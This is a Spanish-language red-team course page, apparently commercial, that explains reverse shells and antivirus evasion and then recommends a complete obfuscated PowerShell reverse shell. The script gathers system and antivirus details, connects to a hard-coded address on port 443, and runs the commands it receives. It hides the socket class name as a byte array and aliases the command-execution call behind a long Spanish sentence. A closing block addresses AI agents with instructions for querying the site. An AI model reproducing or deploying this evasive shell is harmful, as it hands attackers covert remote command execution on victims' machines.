# Reverse Shell en PowerShell Indetectable

{% hint style="info" %}
Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: <https://wa.link/j265a0>. ¡Te esperamos para empezar este viaje juntos!
{% endhint %}

{% hint style="danger" %}
Si quieres aprender a desarrollar malware con caracteristicas que te permitan evadir soluciones de seguridad como antivirus y EDRs, te recomendamos nuestro [CURSO DE RED TEAM OPS DEVELOPER](/cpad/post-explotacion-en-windows/reverse-shell-en-powershell-indetectable/introduccion-al-curso-redteam-ops-developer-senior.md).
{% endhint %}

Una "shell inversa" (reverse shell) es una técnica utilizada en ciberseguridad que permite la comunicación remota con un sistema comprometido. En un escenario normal, un cliente se comunica con un servidor que escucha activamente las conexiones entrantes; sin embargo, en una shell inversa, estos roles se invierten.

### <mark style="color:red;">**¿Qué es una Shell Inversa?**</mark>

1. <mark style="color:red;">**Comunicación Invertida:**</mark> En lugar de que el atacante (cliente) inicie una conexión al sistema comprometido (servidor), el sistema comprometido establece la conexión con el atacante. Esto es especialmente útil para sortear firewalls y otros sistemas de seguridad que pueden bloquear las conexiones entrantes pero permiten las salientes.
2. <mark style="color:red;">**Control Remoto:**</mark> Una vez establecida la conexión, la shell inversa permite al atacante controlar el sistema a través de la línea de comandos o, en casos más avanzados, mediante una interfaz gráfica de usuario, permitiendo la ejecución de comandos, la manipulación de archivos, y otras actividades.

### <mark style="color:red;">**Uso de PowerShell en Red Teaming y Active Directory:**</mark>

1. <mark style="color:red;">**Integración con Windows:**</mark> PowerShell es una interfaz de línea de comandos y lenguaje de scripting incorporado en Windows, lo que lo hace disponible en casi todos los sistemas Windows sin requerir la instalación de software adicional.
2. <mark style="color:red;">**Acceso y Manipulación de Active Directory:**</mark> PowerShell proporciona comandos y acceso directo a los servicios de Active Directory, lo que permite a los usuarios crear, modificar y eliminar objetos de AD, ejecutar consultas, y administrar políticas y seguridad. En manos de un atacante, esto se puede utilizar para explotar configuraciones incorrectas, escalar privilegios y moverse lateralmente en la red.
3. <mark style="color:red;">**Ejecución de Scripts:**</mark> Los atacantes pueden utilizar PowerShell para ejecutar scripts maliciosos y comandos en la memoria (técnica conocida como "fileless" o sin archivo), reduciendo la posibilidad de detección por antivirus que monitorean principalmente el sistema de archivos.
4. <mark style="color:red;">**Bypass de Controles de Seguridad:**</mark> PowerShell permite a los atacantes evadir controles de seguridad mediante la utilización de técnicas avanzadas como la inyección de DLLs, reflexión, y la invocación de código C# directamente desde scripts de PowerShell.

### <mark style="color:red;">**Necesidad de Cargas Útiles Indetectables:**</mark>

1. <mark style="color:red;">**Evasión de Antivirus/Antimalware:**</mark> Las soluciones modernas de antivirus y antimalware utilizan una combinación de firmas, heurísticas y análisis de comportamiento para detectar amenazas. Las cargas útiles deben ser indetectables (a menudo mediante ofuscación, empaquetamiento o cifrado) para evitar estas detecciones y permitir la ejecución exitosa del ataque.
2. <mark style="color:red;">**Mantenimiento del Acceso:**</mark> En operaciones de red team, a menudo es importante mantener el acceso al sistema comprometido para realizar reconocimiento, exfiltración de datos o establecimiento de presencia persistente. Una carga útil detectable puede ser eliminada por soluciones de seguridad, interrumpiendo la operación.
3. <mark style="color:red;">**Efectividad de la Simulación de Amenazas:**</mark> Las operaciones de red team tienen como objetivo simular ataques reales y avanzados. Dado que los actores de amenazas reales están constantemente desarrollando cargas útiles indetectables, el red team debe hacer lo mismo para proporcionar una evaluación realista de la postura de seguridad de una organización.

Te recomendamos utilizar la siguiente reverse shell escrita en powershell:

```powershell
# Funcion encargada de convertir un arreglo de bytes y lo convierte en una cadena utilizando la codificacion especificada, como UTF-8
function ConvertFrom-ByteArray {

    Param (
        [Parameter(Position = 0, ValueFromPipeline = $True)]
        [Byte[]]
        $ByteArray,

        [Parameter(Position = 1)]
        [ValidateSet('ASCII', 'UTF8', 'UTF16', 'UTF32')]
        [String]
        $Encoding = 'UTF8'
    )

    if (!$ByteArray) {
        return ''
    }

    [Text.Encoding]::GetEncoding($($Encoding -replace 'UTF','UTF-')).GetString($ByteArray)
}
# final de Funcion ConvertFrom-ByteArray


while ($true) {
    # Generando valores aleatorios y codificando en Base64
    $Base64 = [Convert]::ToBase64String((1..32 | %{[byte](Get-Random -Minimum 0 -Maximum 255)}));
    $Key = ([Convert]::FromBase64String($Base64));

    # Recopilacion de informacion del equipo victima
    $System = (Get-WmiObject Win32_OperatingSystem).Caption;
    $Version = (Get-WmiObject Win32_OperatingSystem).Version;
    $Architecture = (Get-WmiObject Win32_OperatingSystem).OSArchitecture;
    $WindowsDirectory = (Get-WmiObject Win32_OperatingSystem).WindowsDirectory;
    $av = (Get-WmiObject -Namespace 'root/SecurityCenter2' -Class 'AntiVirusProduct').displayname;
    # Configuracion de la IPAddress
    $p = "192.168.45.220"

    # Concatenacion de variables de informacion el equipo con su respectiva clave:valor
    $w = "=> RECOPILACION DE INFORMACION DEL TARGET <= `r`n System: $System`r`n VERSION: $Version`r`n ARCH: $Architecture`r`n DIRECTORY: $WindowsDirectory`r`n AVS: $av`r`n GET /index.html HTTP/1.1`r`nHost: $p`r`nMozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0`r`nAccept: text/html`r`n`r`n"
    
    $s = [System.Text.ASCIIEncoding]
    [byte[]]$b = 0..65535|%{0};
    $LUNA = ConvertFrom-ByteArray  @(83,121,115,116,101,109,46,78,101,116,46,83,111,99,107,101,116,115,46,84,67,80,67,108,105,101,110,116)
    $r = "LaindependenciadeColombiaocurrienelsigloXIXcuandolascoloniasamericanaslucharoncontraelyugoespaol.LideradosporfigurascomoSimnBolvaryFranciscodePaulaSantanderlosrebeldeslograronliberaraColombiadeladominacincolonial.LaguerraferozylargaculminconlaBatalladeBoyacen1819unhitoquesellaemancipacincolombiana.EstaluchaarduamarcelnacimientodeunanacinlibreysoberanaenAmricadelSur."
    Set-Alias $r ($r[$true-11] + ($r[[byte]("0x" + "FF") -261]) + $r[[byte]("0x" + "2a") -2])
    
    # Configuracion de Puerto
    $y = New-Object $LUNA($p,443)
    $z = $y.GetStream()
    $d = $s::UTF8.GetBytes($w)
    $z.Write($d, 0, $d.Length)
    $SPARTAN = "whoami"
    $t = (LaindependenciadeColombiaocurrienelsigloXIXcuandolascoloniasamericanaslucharoncontraelyugoespaol.LideradosporfigurascomoSimnBolvaryFranciscodePaulaSantanderlosrebeldeslograronliberaraColombiadeladominacincolonial.LaguerraferozylargaculminconlaBatalladeBoyacen1819unhitoquesellaemancipacincolombiana.EstaluchaarduamarcelnacimientodeunanacinlibreysoberanaenAmricadelSur. $SPARTAN) + "@c2===> "

    while(($l = $z.Read($b, 0, $b.Length)) -ne 0){
        $v = (New-Object -TypeName $s).GetString($b,0, $l)
        $d = $s::UTF8.GetBytes((LaindependenciadeColombiaocurrienelsigloXIXcuandolascoloniasamericanaslucharoncontraelyugoespaol.LideradosporfigurascomoSimnBolvaryFranciscodePaulaSantanderlosrebeldeslograronliberaraColombiadeladominacincolonial.LaguerraferozylargaculminconlaBatalladeBoyacen1819unhitoquesellaemancipacincolombiana.EstaluchaarduamarcelnacimientodeunanacinlibreysoberanaenAmricadelSur.  $v 2>&1 | Out-String )) + $s::UTF8.GetBytes($t)
        $z.Write($d, 0, $d.Length)
    }
    $y.Close()
    Start-Sleep -Seconds 7
}

```

Te recomendamos la lectura de [AMSI para Hackers](/cpad/introduccion-a-la-evasion-de-defensas/amsi-para-hackers.md) y tambien [Evasión de antivirus](/cpad/introduccion-a-la-evasion-de-defensas/evasion-de-antivirus.md)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cpad/post-explotacion-en-windows/reverse-shell-en-powershell-indetectable.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
